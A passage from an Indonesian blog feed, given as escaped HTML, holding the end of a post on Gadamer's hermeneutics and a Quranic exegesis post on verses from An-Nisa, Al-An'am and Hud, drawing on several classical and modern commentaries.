keberadan, bukan sesuatu yang seseorang lakukan di antara berbagai hal yang ia kerjakan. Pemahaman adalah sebagian dari faktisitas, ia mengalir dari kenyataan wujud manusia. Jadi pemahaman bukan proses subjektif manusia dihadapkan dengan suatu objek, bukan suatu metode objektivikasi. Pemahaman bukan suatu pencarian keterangan tentang suatu objek.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Gadamer merekonsepsikan pemahaman sebagai bersifat partisipatorik pada suatu warisan budaya. Pemahaman masuk dalam peristiwa transmiri yang masa-lalu dan masa-kini senantiasa sedang diperantarai. Inilah, menurut penegasan Gadamer, hal yang harus diterima di dalam teori hermeneutika, yang terlalu dikuasai oleh ide prosedur, metode.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Kunci bagi pemahaman adalah partisipasi dan keterbukaan, bukan manipulasi dan pengendalian. Dialetika bukan metodologi. Metode bukan menuju jalan kebenaran. Metode cenderung memprastrukturkan cara memandang. Metode hanya mampu membuat eksplisit macam kebenaran yang sudah implisit di dalam metode. Tujuan dialetika adalah agar kenyataan yang dijumpai menyikapi diri. Hermeneutika dialetik membuka diri untuk ditanyaai oleh kenyataan sendiri, sehingga kenyatan yang dijumpai menyatakan diri. Realisasi arti, realisasin komunikasi, realisasi pemahaman tersebut bersifat spekulatif karena kemungkinan-kemungkinan yang terbatas dari kata diorentasikan kepada arah makna yang dimaksudkan, pada yang tidak terbatas. Yang dialetikal adalah ekspresi yang spekulatif, representasi dari hal yang benar-benar termuat dalm yang spekulatif. Representasi tersebut adalah tampiln ya kenyataan itu sendiri. Oleh karena itu, hermeneutika Gadamer adalah hermeneutika diletika-spekulatif.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Jadi, hermeneutika tidak berusan dengan subjektivitas pencipta atau pengarang, juga tidak berurusan dengan situasi historikalnya. Perhatian hermeneutika adalah masalahnya dan linguisstiknya. Pokok sasaran adalah kebnaran ini. Suatau teks niscaya dipahami tidak sebagai pernyataan atau ekspresi hidupan, tetapi sebgai apa yang dikatakan. Pemaham diarahkan kepada Ada, bukan pada manusia atau sesuatu dibalik teks. Karena bukan dari hasil metode, pemahaman tidak berurusan dengan masalah benar atau tidak benar, bukan pula masalah kesesuaian (koerespondensi). Kebenarannya adalah masalah penyikapan Ada. Dengan hermeneutikanya, Gadamer bermaksud mengambilkan pemahaman akan merupakan arah dari Ada.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Berdasarkan historikalitas keberadaan kita, reproduksi kondisi-kondisi orisional suatu karya merupakan usaha yang tidak berguna. Karena arti senantiasa melampaui jiwa pencipta. Arti tidak ditentukan atau diterakan oleh pengarang. Arti suatu teks melampaui pemahaman penciptanya tidak hanya kini, tetapi selalu. Pemahaman bukann sekadar suatu kegiatan peproduktif, tetapi juga kegiatan produktif. Seseorang hanya memahami kalau ia memahami secara berbeda.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Pemahaman adalah salingh memahami hingga sampai pada kesepahaman. Dalam hermeneutika, dalam saling berembuk, bertumbuhlah masalah yang dibicarakan. Tetapi, penting utnuk dicatat bahwa masalah tersebut belum adalah sebelum proses hermeneutika. Yang terjadi dalm hermeneutika bukanlah menambah sini atau mengurangi sana. Masalahnyan untuk pertama kali jelas baru dalam proses hermeneutika tersebut. Dengan demikian, sebagaimana Heidegger, Gadamer dengan konsep pemahamannya memberi tempat pada unsur-unsur yang terlepas dari kategori-kategori logika. Yang berarti pula bahwa yang dipahami tidak secara penuh dikuasai. Pemahaman akan sesuatu tidak pernah tuntas karena selalu terdapat kemungkinan-kemungkinan baru pemahaman dan kemungkinan-kemungkinan pembaharu. Dasarnya adalah tradisi.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Bagi Gadamer, manusia berada lewat dan di dalam tradisi. Ia dengan jelas melihat bahwa situasi sebenarnya saat pemahaman terjadi selalu berupa pemahaman lewat bahasa dan dalam tradisi. Dengan pemahaman sebagai peristiwa linguistikal dari tradisi, masalah pengartian dapat didekati dengan lebih luasa.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Tradisi adalah Engkau, bukan suatu substansi, bukan benda maka tidak dapat dilihat dan diperluhkan sebagaimana orang melihat atau memperlakukan benda. Tradisi adalah proses yang menyatu dengan eksistensi manusia. Kita senantiasa berdiri di dalam tradisi. Dengan demikian untuk pemahaman teks, kita harus memasuki tradisi yang sama dimiliki oleh teks prasyarat. Partisipasi pada warisan budaya yang mencakup sesuatu yang akan dipahami merupakan prakondisi pemahaman.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</description><link>http://slendangwetan29.blogspot.com/2008/05/hans-georg-gadamer.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-4872752271091474694</guid><pubDate>Thu, 01 May 2008 18:21:00 +0000</pubDate><atom:updated>2008-09-20T01:25:06.833-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Tafsir</category><title>TAFSIR</title><description>&lt;div style=&quot;color: rgb(0, 0, 0);&quot; align=&quot;justify&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxWK6CNL7TAWbOgPEWM-3Ddv78Diiwo-4t5siJxwnmpfX3amTeKd6Dxwx3-C04vbL8hEjAeXJF0T3QmfLEnSq7pCRFY5vvaOmahhIMc_9ZmWUHp8rVXWoTK94tNzqqGGfZHsz2x-Qc0_M/s1600-h/al2.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxWK6CNL7TAWbOgPEWM-3Ddv78Diiwo-4t5siJxwnmpfX3amTeKd6Dxwx3-C04vbL8hEjAeXJF0T3QmfLEnSq7pCRFY5vvaOmahhIMc_9ZmWUHp8rVXWoTK94tNzqqGGfZHsz2x-Qc0_M/s200/al2.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5195477238052573378&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);font-size:85%;&quot; &gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;SURAT AN-NISA’ 79&lt;br /&gt;&lt;br /&gt;Ayat 79&lt;br /&gt;&lt;br /&gt;مَا أَصَابَكَ مِنْ حَسَنَةٍ فَمِنَ اللَّهِ وَمَا أَصَابَكَ مِنْ سَيِّئَةٍ فَمِنْ نَفْسِكَ وَأَرْسَلْنَاكَ لِلنَّاسِ رَسُولا وَكَفَى بِاللَّهِ شَهِيدًا&lt;br /&gt;&lt;br /&gt;“Apa saja nikmat yang kamu peroleh adalah dari Allah, dan apa saja bencana yang menimpamu, Maka dari (kesalahan) dirimu sendiri. Kami mengutusmu menjadi Rasul kepada segenap manusia. dan cukuplah Allah menjadi saksi.”&lt;br /&gt;&lt;br /&gt;Di sini Tuhan menyebut engkau, bukan hanya ditujukan kepada Rasul saja, melainkan kepada diri tiap-tiap orang yang mukallaf. Rasul hanya jadi perantara untuk menyampaikan. Yaitu bahwasanya nikmat dan rahmat Allah cukuplah diberikan kepada manusia di ala mini. Tidak ada yang kurang. Sehingga pada asalnya, semuanya adalah baik. Tuhan tidak memberikan yang buruk. Bahkan telah banyak ayat-ayat yang menerangkan bahwa segala sesuatu di alam ini disediakan untuk manusia. Apalagi manusia diberi akal dan disuruh berusaha. Maka jika manusia gagal, maka itu adalah dari diri manusia itu sendiri. Baik karena kesia-siaan, atau masih belum tahu dan belum berpengalaman. Yang terlebih-lebih wajib dijaga oleh manusia adalah supaya dia mensyukuri nikmat Allah.&lt;br /&gt;&lt;br /&gt;Kesalahan yang paling besar ialah kalau tidak mensyukuri nikmat. Jiwamu “terbelakang” walaupun telah berlimpah nikmat Allah kepada kamu, namun oleh karena kamu tidak mengenal apa yang disebut dengan syukur nikmat, kamu akan tetap mengeluh. Oleh karena itu janganlah menimpakan kesalahan kepada orang lain, tetapi selidikilah penyakit yang ada dalam jiwamu sendiri.&lt;br /&gt;&lt;br /&gt;“Dan kami telah utus kepada manusia seorang rasul.” Maka Rasul itu telah mengajarkan kepada kamu jalan yang baik, cita-cita yang mulia mnegeluarkan kamu dari gelap gulita kepada terang benderang. Selamatlah kamu kalau ajarannya kamu ikuti dan sengsaralah kamu karena tidak menaatinya, bahkan masih meragukan, dan mengeluh.&lt;br /&gt;&lt;br /&gt;“Dan cukuplah Allah sebagai penyaksi.” Artinya cukuplah Allah yang menjadi saksi, wahai utusanKu! Allah menjadi saksi bahwa amanat itu telah engkau tunaikan dengan baik. Yaitu memimpin manusia menuju jalan yang benar. Malah penderitaan engkau lebih banyak dan engkau teguh hati, pantang mundur sehingga senanglah Allah menyaksikan segala gerak-gerikmu. Dan tuduhan si lemah iman bahwa jika mereka ditimpa kesusahan, adalah sebab kesalahanmu, tidak lain hanyalah karena kebodohan dan kedangkalan berfikir mereka juga adanya.[1]&lt;br /&gt;&lt;br /&gt;Sedangkan dalam Tafsir Fi Zhilalil Qur’an, Sayyid Quthub menghubungkan ayat 79 an-Nisa’ ini dengan persoalan “qadha’ dan “qadar” atau “jabar” dan “ikhtiyar”. Sesungguhnya Allah telah membuat manhaj (aturan), membuat jalan, menunjukkan kepada kebaikan, dan melarang keburukan. Maka apabila manusia mengikuti manhaj, menempuh jalan ini, berusaha melakukan kebaikan, dan menjauhi keburukan, niscaya Allah akan menolongnya untuk mendapatkan petunjuk sebagaimana firman-Nya: “Dan orang-orang yang berjihad untuk (mencari keridhaan) Kami, benar-benar akan Kami tunjukkan kepada mereka jalan-jalan kami …” (al-‘Ankabut : 69).&lt;br /&gt;&lt;br /&gt;Apabila manusia tidak mengikuti manhaj yang telah dibuat Allah, maka ketika itu dia mendapatkan kejelekan yang sebenarnya, baik di dunia maupun di akhirat. Dan kejelekan ini adalah dari dirinya sendiri.[2]&lt;br /&gt;&lt;br /&gt;Terwujudnya kebaikan dan kejelekan itu tidak lain kecuali dengan kekuasaan dan qadar Allah, karena dialah yang mengadakan segala sesuatu, yang mengadakan segala yang terjadi, dan menciptakan segala yang ada apa pun kehendak dan tindakan orang yang bersangkutan terhadap apa yang terjadi itu.&lt;br /&gt;&lt;br /&gt;Sedangkan urusan manusia terhadap Rasul ialah bahwa orang yang taat kepada Rasul berarti taat kepada Allah swt. Maka ia tidak memisahkan antara Allah dan Rasul-Nya; antara firman Allah dan sabda Rasul-Nya. Bagi orang yang berpaling dan mendustakan, urusan hijab dan pembalasannya terserah kepada Allah.[3]&lt;br /&gt;&lt;br /&gt;SURAT AL-AN’AM&lt;br /&gt;&lt;br /&gt;Ayat 22&lt;br /&gt;&lt;br /&gt;وَيَوْمَ نَحْشُرُهُمْ جَمِيعًا ثُمَّ نَقُولُ لِلَّذِينَ أَشْرَكُوا أَيْنَ شُرَكَاؤُكُمُ الَّذِينَ كُنْتُمْ تَزْعُمُونَ&lt;br /&gt;&lt;br /&gt;“Dan (ingatlah), hari yang di waktu itu Kami menghimpun mereka semuanya kemudian Kami berkata kepada orang-orang musyrik: &quot;Di manakah sembahan-sembahan kamu yang dulu kamu katakan (sekutu-sekutu) kami?&quot;.&lt;br /&gt;&lt;br /&gt;Kalaupun di dunia ini mereka belum merasakan akibat penganiayaan itu, maka suatu ketika pasti mereka akan menyesal, yakni pada hari kiamat nanti. Kerena itu ingatlah, kebohongan mereka terhadap Allah di dunia ini, ingatlah itu pada hari yang di waktu itu Kami menghimpun mereka semua secara paksa dan dalam keadaan hina dina, baik Ahl al-Kitab maupun kaum musyrik serta apa yang mereka persekutukan dengan Allah, berhala-berhala, kemudian Kami melalui para malaikat berkata kepada orang-orang musyrik yang mempersekutukan Allah dengan sesuatu, baik berhala, manusia, maupun cahaya atau gelap, bahkan sembahan apa saja: Di manakah sembahan-sembahan kamu yang dulu kamu kira dan akui secara lisan dan pengalaman sebagai sekutu-sekutu Kami? Mintalah kepada mereka agar membantu dan menyelamatkan kamu dari siksa yang sedang dan akan kamu hadapi. Sungguh aneh sikap mereka ketika itu lagi jauh dari apa yang dapat dibayangkan, sebagaimana dipahami dari kata kemudian. Betapa tidak aneh, pada hari terbukanya segala tabir dan tersingkapnya segala kebohongan, mereka tetap berbohong. Hal ini dikarenakan ketika itu pikiran mereka demikian kacau sehingga tiadalah fitnah mereka yakni jawaban dan ucapan ngawur yang tidak berdasar dari mereka, kecuali mengatakan: Demi Allah, Tuhan kami, demikian mereka berbohong dengan berkata kami tidak mempersekutukan Allah. Bukankah ketika di dunia mereka mempersekutukan-Nya?[4]&lt;br /&gt;&lt;br /&gt;Ayat ini dapat juga dihubungkan dengan yang lalu dengan menjadikan ayat di atas sebagi jawaban dari satu pertanyaan yang timbul dalam benak siapa yang mendengar ayat yang lalu menyatakan bahwa tidak berbahagia orang-orang yang zalim. Seakan-akan ada yang bertanya: bagaiman mereka tidak akan bahagia? Pertanyaan ini jawabnya: itu disebabkan karena kelak di Hari Kemudian Allah akan menggiring mereka ke Padang Mahsyar dan meminta pertanggungjawaban atas dosa-dosa mereka, khususnya menyangkut persekutuan terhadap Allah.&lt;br /&gt;&lt;br /&gt;Seperti terbaca di atas kata جَمِيعًا semua, mencakup penyembah dan yang disembah selain Allah. Itu sebabnya lanjutan ayat menyatakan kemudian kami berkata kepada orang-orang musyrik, bukan menyatakan Kami berkata kepada mereka. Dihimpunnya yang disembah dan penyembah ditegaskan pula dalam Q.S. as-Shaffat : 22 (kepada malaikat diperintahkan): “kumpulkanlah orang-orang yang zalim beserta mereka dan sembahan-senbahan yang selalu mereka sembah.”&lt;br /&gt;&lt;br /&gt;Dihimpunnya para sembahan-sembahan itu, untuk lebih menampakkan kehinaan dan kerendahan serta ketidakberdayaan mereka, untuk membuktikan bahwa walau sembahan-sembahan itu hadir di hadapan mereka, namun mereka sedikit pun tidak dapat membantu, bahkan mereka berlepas diri dari apa yang dilakukan sembahan-sembahanny itu demikian juga para penyembahnya. Dalam ayat lain dikemukakan bahwa Isa as. pun dihimpun bersama umatnya (baca QS. al-Maidah : 116) bahkan setan pun diperlakukan demikian.&lt;br /&gt;&lt;br /&gt;Kata ثم kemudian, pada firman-Nya Kemudian kami berkata kepada orang-orang musyrik untuk mengisyaratkan jarak penantian yang cukup lama antara keberadaan orang-orang musyrik dan sembahan mereka di Padang Mahsyar, dengan perkataan/pertanyaan yang diajukan kepada mereka. Jarak waktu penantian itu, menjadikan mereka lebih sekaligus menunjukkan betapa mereka tidak diperhatikan bahakan diabaikan begitu lama, untuk lebih menghina dan melecehkan mereka.[5]&lt;br /&gt;&lt;br /&gt;Kata أين dimana, digunakan untuk menanyakan tempat sesuatu, sebagimana digunakan juga untuk menanyakan sesuatu walau tidak memiliki tempat, tetapi diharapkan apa yang ditanya itu menjadi perhatian atau dikerjakan. Seperti pertanyaan Umar ibn al-Khattab kepada seorang pria yang bermaksud menceraikan istrinya: “Di manakah amanah perkawinan yang engkau terima?” Atau pertanyaan seorang penggembala ketika diminta oleh Umar agar menjual kambing milik tuannya, karena ketika itu pemilik kambing tidak ada. Sang penggembala berkata: “dan di manakah Allah?”&lt;br /&gt;&lt;br /&gt;Sebagaimana dikemukakan di atas, sembahan-sembahan mereka ikut dikumpulkan di Padang Mahsyar. Jika demikian, pertanyaan tentang di mana pada ayat ini, bukanlah pertanyaan tempat keberadaan mereka, tetapi tentang peran mereka dalam membantu para penyembahnya. Pertanyaan itu dimaksudkan sebagai kecaman dan ejekan karena ketika itu sungguh jelas ketidakmampuan yang disembah untuk menolong siapa yang pernah menyembahnya.[6]&lt;br /&gt;&lt;br /&gt;Dalam Kamus Besar Bahasa Indonesia, kata “fitnah” diartikan sebagai “perkataan yang bermaksud menjelekkan orang”. Sedangkan dalam Alquran, kata itu mempunyai makna yang beragam. فتنة Fitnah terambil dari akar kata فتن fatana yang semula berarti “menguji untuk mengetahui kualitas sesuatu”, seperti halnya membakar emas untuk mengetahui kualitasnya. Kata tersebut digunakan Alquran antara lain dalam arti “memasukkan ke Neraka” atau dalam arti “siksaan” seperti terdapat dalam Surat Qaf : 13-14 “hari pembalasan itu, ialah hari ketika mereka difitnah (dimasukkan ke neraka) (dikatakan kepada mereka) “Rasakanlah fitnahmu yakni siksa yang diperuntukkan bagimu.” Fitnah dalam arti siksa adalah hasil dari kegagalan dalam ujian yang berlangsung di dunia. Ia juga dapat berarti godaan yang menguji kadar kualitas seseorang sebagaimana ia digunakan dalam arti kekacauan pikiran akibat rasa takut yang tidak terkendali, atau karena kebencian, atau cinta yang berlebihan. Tampaknya makna inilah yang dimaksud di sini.&lt;br /&gt;&lt;br /&gt;Di samping itu ada juga sebagian ulama memahaminya dengan arti “jawaban”, karena ujian menuntut adanya jawaban.[7]&lt;br /&gt;&lt;br /&gt;Ayat ini menunjukkan bahwa jawaban mereka adalah bohong. Pakar hadits Imam Bukhari meriwayatkan, ada seseorang yang menyampaikan kebingungannya kepada Ibnu Abbas ra. karena merasa ada ayat-ayat Alquran yang saling bertentangan. Di satu sisi kata orang itu Allah menyatakan bahwa “orang-orang kafir tidak dapat menyembunyikan dari Allah sesuatu ucapan pun” (QS. an-Nisa’ : 42), tetapi di sisi lain kaum musyrik berbohong dan menyembunyikan kebenaran dengan berkata “demi Allah kami tidak pernah mempersekutukan Allah” (QS. al-An’am : 23). Ibnu Abbas menjawab: “sesungguhnya Allah dapat mengampuni dosa-dosa orang yang mengesakan Allah, maka orang-orang musyrik mengetahui hal ini dan berkata kepada rekan-rekan mereka, mari berkata: kami tidak pernah mempersekutukan Allah. Maka, ketika itu Allah mengunci mulut mereka dan menjadikan dan anggota badan mereka berbicara. Ketika itulah mereka tidak dapat menyembunyikan sesuatu di hadapan Allah.”&lt;br /&gt;&lt;br /&gt;Dapat juga dugaan pertentangan itu ditolak dengan menyatakan bahwa orang-oreang kafir itu telah terbiasa meraih keuntungan atau menampik kemudaratan dengan bersumpah dan berbohong. Kebiasaan itu telah mendarah daging dalam diri mereka sehingga sulit bagi mereka meninggalkan kebiasaan buruk itu bahkan mereka terbawa dan terpaksa melakukannya, tidak jauh beda dengan seseorang yang terbiasa mengucapkan kata-kata buruk apalagi latah mengucapkan satu kata. Karena kebiasaan itulah, maka ketika dimintai pertanggungjawaban mereka tidak dapat melepaskan diri dari kebiasaan itu. Ketidakmampuan itulah yang dimaksud dengan “tidak dapat menyembunyikan dari Allah satu ucapan pun.” Dengan demikian kebohongan yang menjadi kebiasaan mereka ketika bercakap-cakap tidak dapat mereka sembunyikan.&lt;br /&gt;&lt;br /&gt;Atau dapat juga dikatakan bahwa “orang kafir tidak dapat menyembunyikan dari Allah sesuatu ucapan pun” dalam arti berbohong baik di dunia maupun di akhirat, mereka tidak dapat menipu Allah atau menyembunyikan apa yang terjadi di balik ucapan mereka, karena Allah Maha Mengetahui segala isi hati.[8]&lt;br /&gt;&lt;br /&gt;Sedangkan dalam Terjemahan Singkat Tafsir Ibnu Katsir, Allah mengingatkan dalam ayat ini sekaligus memperingatkan supaya manusia sadar dan hati-hati dalam kepercayaan terhadap Tuhan, sebenarnya telah berulang-ulang Allah menunjukkan kepada manusia cara mencari Tuhan, supaya jangan tersesat oleh bayangan kira-kira, sebab pada Hari Kiamat kelak sudah tidak ada kebohongan lagi apalagi mendustakan dirisendiri dengan menyatakan “Demi Allah kami tidak syirik” dan jawaban itu sudah tidak diterima oleh Allah, sebab nyatanya ketika masih hidup mereka syirik.[9]&lt;br /&gt;&lt;br /&gt;SURAT AL-AN’AM&lt;br /&gt;&lt;br /&gt;Ayat 160&lt;br /&gt;&lt;br /&gt;مَنْ جَاءَ بِالْحَسَنَةِ فَلَهُ عَشْرُ أَمْثَالِهَا وَمَنْ جَاءَ بِالسَّيِّئَةِ فَلا يُجْزَى إِلا مِثْلَهَا وَهُمْ لا يُظْلَمُونَ&lt;br /&gt;&lt;br /&gt;“Barangsiapa membawa amal yang baik, Maka baginya (pahala) sepuluh kali lipat amalnya; dan Barangsiapa yang membawa perbuatan jahat Maka Dia tidak diberi pembalasan melainkan seimbang dengan kejahatannya, sedang mereka sedikit pun tidak dianiaya (dirugikan).”&lt;br /&gt;&lt;br /&gt;Ayat ini kembali mengingatkan semua pihak untuk menelusuri jalan lurus dan tidak mengiluti aneka jalan yang sesat sebagaiman dijelaskan dalam ayat 153 pada surat ini. Apalagi ayat yang lalu mengancam kaum musyrik dengan bermacam ancaman yang tentu saja diakibatkan oleh keengganan mereka menelusuri jalan yang lurus itu. Keadaan ini menurut al-Biqa’i tentu saja menyedihkan Nabi Muhammad saw. yang dikenal sangat ingin dan berupaya sekuat tenaga mengajak kaumya ke jalan yang benar. Untuk menyingkirkan kesedihan itulah ayat ini diturunkan.&lt;br /&gt;&lt;br /&gt;Dapat juga dikatakan bahwa keadaan kaum musyrik dengan bermacam-macam kepercayaan danpraktek ibadah nereka pada hakekatnya telah memecah-belah dan merobek-robek ajaran agama yang hanif.[10] Demikian juga orang Yahudi dan Nasrani. Kepada yang memecah-belah agama itulah diingatkan bahwa agama selalu datang untuk menyatukan, bukan memecah-belah. Sekali lagi ayat ini menjelaskan kepada ereka tentang keadaan Rasul saw. yang sebenarnya yaitu bahwa beliau datang untuk menyatukan, bukan memecah-belah, karena sesungguhnnya orang-orang yang memecah belah agama mereka yang dibawa oleh para Rasul dengan menciptakan kepercayaan dan praktek-praktek ibadah yang tidak disyariatkan oleh Allah swt. sehingga mereka berselisih dalam prinsip-prinsip akidah dan syariat, dan mereka terpecah menjadi beberapa golongan masing-masing megikuti pemimpinnya. Hal ini sungguh tidak diridhai Allah swt., karena itu engkai wahai Muhammad tidak berkaitan sedikit pun dengan mereka. Agamamu berbeda dengan agama mereka, cara hidupmu berbeda dengan cara hidup mereka. engkau tidak akan ditanya mengenai perpecahan dan ketidaktaatan mereka, sebab engkau hanya penyampai risalah.[11]&lt;br /&gt;&lt;br /&gt;Sesungguhnya urusan mereka hanyalah kembali kepada Allah. Dia sendiri menetapkan, siapa saja yang Dia kehendaki akan diberi petunjuk atau Dia biarkan berada dalam kesesatan. Kemudian setelah berlalu waktu yang relative lama dalam kehidupan dunia dan alam barzakh, Allah akan memberitahukan kepada mereka pada Hari Kiamat kelak apa yang yang telah mereka perbuat selama hidup mereka di dunia, kemudian Allah akan membalas mereka. Pembalasan Allah swt. sungguh adil, yakni barangsiapa di antara manusia datang membawa amal yang baik yakni berdasar iman yang benar dan ketulusan hati, maka baginya pahala sepuluh kali lipat dari amalnya sebagai karunia dari Allah swt.; dan barangsiapa yang membawa perbuatan yang buruk maka dia tidak diberi balasan melainkan seimbang dengan keburukannya, itu pun kalau Allah menjatuhkan hukuman atasnya, tetapi tidak sedikit keburukan hamba yang dimaafkan-Nya. Kalau dia menjatuhkan hukuman, maka itu sangat adil. Dan dengan demikian mereka (yang melakukan kejahatan) itu sedikit pun tidak dianiaya, tetapi masing-masing akan memperoleh hukuman setimpal dengan dosanya. Adapun yang berbuat baik, maka bukan saja mereka tidak dianiaya bahkan mereka diberi ganjaran yang adil; mendapat anugerah karunia Allah swt.&lt;br /&gt;&lt;br /&gt;Bahwa keadaan Rasul saw. yang berbeda dengan keadaan kelompok-kelompok yang masing-masing mengikuti pemimpin mereka itu, menunjukkan bahwa beliau adalah seorang Rasul yang membawa kalimat haq untuk mempersatukan semua kelompok di bawah panji tauhid.&lt;br /&gt;&lt;br /&gt;Perpecahan dan kelompok-kelompok yang dimaksud oleh ayat ini adalah perpecahan dalam bidang prinsip-prinsip ajaran agama dan dalam perbedaan tujuan. Adapaun bila tujuan sama, atau perbedaan hanya dalam rincian ajaran yang melahirkan perbedaan penafsiran serta didukung oleh kaidah-kaidah kebahsaan dan disiplin ilmu, maka ini dapat ditoleransi.&lt;br /&gt;&lt;br /&gt;Ketika menafsirkan firman-Nya: “Dan janganlah amu menyerupai orang-orang yang berkelompok-kelompok dan berselisih sesudah datang keterangan yang jelas kepada mereka” (QS. Ali-Imran: 105), penulis antara lain mengemukakan bahwa firman-Nya: Sesudah datang keterangan yang jelas kepada mereka, dipahami sementara oleh para ulama berkaitan dengan kata “berselisih”, bukan dengan kata “berkelompok”, dan ini berarti bahwa perselisihan itu berkaitan dengan prinsip-prinsip ajaran agama. Ada pun yang dimaksud dengan berkelompok-kelompok, maka ia dapat dipahami dalam artian perbedaan dalam badan atau organisasi. Memang perbedaan dalam badan atau organisasi dapat menimbulkan perselisihan, walau pun tidak mutlak karena lahirnya berbagai organisasi tidak otomatis lahirnya perselisihan dalam prinsip dan tujuan.&lt;br /&gt;&lt;br /&gt;Jika demikian, Alquran tidak melarang umat untuk berkelompok atau berbeda pendapat, tetapi yang dilarang-Nya adalah berkelompok dan berselisih dalam tujuan. Ada pun perbedaan yang bukan pada prinsip atau tidak berkaitan dengan tujuan, maka yang demikian itu dapat ditoleransi bahkan tidak mungkin dihindari. Rasul saw. sendiri mengakuinya. Bahkan Allah menegaskan bahwa yang demikian itu adalah kehendak-Nya juga. “Sekiranya Allah menghendaki, niscaya kamu dijadikan-Nya satu umat (saja), tetapi Allah hendak menguji kamu terhadap pemberian-Nya kepadamu, Maka berlomba-lombalah berbuat kebajikan” (Qs. Al-Maidah: 48). Di sini terlihat bahwa berkelompok tidak otomatis terlarang, apalagi seperti yang ditulis oleh mantan Pemimpin tertinggi al-Azhar Syekh Abdul HAlim Mahmud.[12]&lt;br /&gt;&lt;br /&gt;Sedangkan dalam terjemahan singkat Tafsir Ibnu Katsir, ayat ini menjelaskan bahwa siapa yang berbuat kebaikan akan dibalas dengan yang yang lebih baik.&lt;br /&gt;&lt;br /&gt;Banyak sekali hadis-hadis yang menjelaskan dan menguraikan maksud ayat ini. Salah satunya Ibnu Abbas ra. yang meriwayatkan bahwa Rasulullah saw. meriwayatkan dari Allah swt.: “Sesungguhnya Tuhanmu Maha Pengasih, siapa yang berniat akan berbuat baik dan belum dilaksanakan, dicatat untuknya satu hasanat, maka apabila dikerjakan dicatat sepuluh hingga tujuh ratus hasanat dan dapat berlipat ganda lebih dari itu. Dan siapa yang berniat akan berbuat dosa tetapi tidak dikerjakan, dicatat satu hasanat, tapi bila dikerjakan dicatat satu dosa atau dihapus oleh Allah swt., karena itu tidak akan binasa di hadapan Allah kecuala orang-orang binasa (HR. Ahmad, Muslim, Nasa’i).&lt;br /&gt;&lt;br /&gt;SURAT HUD&lt;br /&gt;&lt;br /&gt;Ayat 114&lt;br /&gt;&lt;br /&gt;وَأَقِمِ الصَّلاةَ طَرَفَيِ النَّهَارِ وَزُلَفًا مِنَ اللَّيْلِ إِنَّ الْحَسَنَاتِ يُذْهِبْنَ السَّيِّئَاتِ ذَلِكَ ذِكْرَى لِلذَّاكِرِينَ. وَاصْبِرْ فَإِنَّ اللَّهَ لا يُضِيعُ أَجْرَ الْمُحْسِنِينَ .&lt;br /&gt;&lt;br /&gt;“Dan dirikanlah sembahyang itu pada kedua tepi siang (pagi dan petang) dan pada bahagian permulaan daripada malam. Sesungguhnya perbuatan-perbuatan yang baik itu menghapuskan (dosa) perbuatan-perbuatan yang buruk. Itulah peringatan bagi orang-orang yang ingat. Dan bersabarlah, karena Sesungguhnya Allah tiada menyia-nyiakan pahala orang-orang yang berbuat kebaikan (al-Muhsinin).”&lt;br /&gt;&lt;br /&gt;Apa yang diperintahkan dan dilarang oleh ayat yang lalu memang tidak mudah, tetapi Allah swt. memberi bekal guna memikulnya sehingga tuga tersebut dapat dilaksanakan dengan baik. manurut al-Biqa’i, manusia adalah wadah kelemahan dan keteledoran, maka ayat ini memberi petunjuk tentang cara terampuh untuk menutupi dosa-dosa kecil yang diakibatkan oleh kelemahan itu serta menghindarkan dampak buruk keteledoran dan kelesuan itu serta guna meraih istiqamah yang diperintahkan oleh ayat yang lalu.&lt;br /&gt;&lt;br /&gt;Ayat ini mengajarkan: Dan dirikanlah shalat dengan teratur dan benar sesuai dengan ketentuanm rukun, syarat, dan sunah-sunahnya pada kedua tepi siang yakni pada pagi dan petang; atu Subuh, Dhuhur, dan Ashar dan bagian permulaan daripada malam yaitu Maghrib dan Isya’, dan juga bisa termasuk witir dan tahajjud. Yang demikian itu dapat menyucikan jiwa dan mengelahkan kecenderungan nafsu untuk berbuat kejahatan.&lt;br /&gt;&lt;br /&gt;Sesungguhnya kebajikan-kebajikan itu yakni perbuatan-perbuatan baik seperti shalat, zakat, sedekah, istghfar, dan bermacam ketaatan lain dapat menghapuskan dosa kecil yang merupakan keburukan-keburukan yakni perbuatan-perbuatan buruk yang tidak mudah dihindari manusia. Adapun dosa besar, maka ia membutuhkan ketulusan 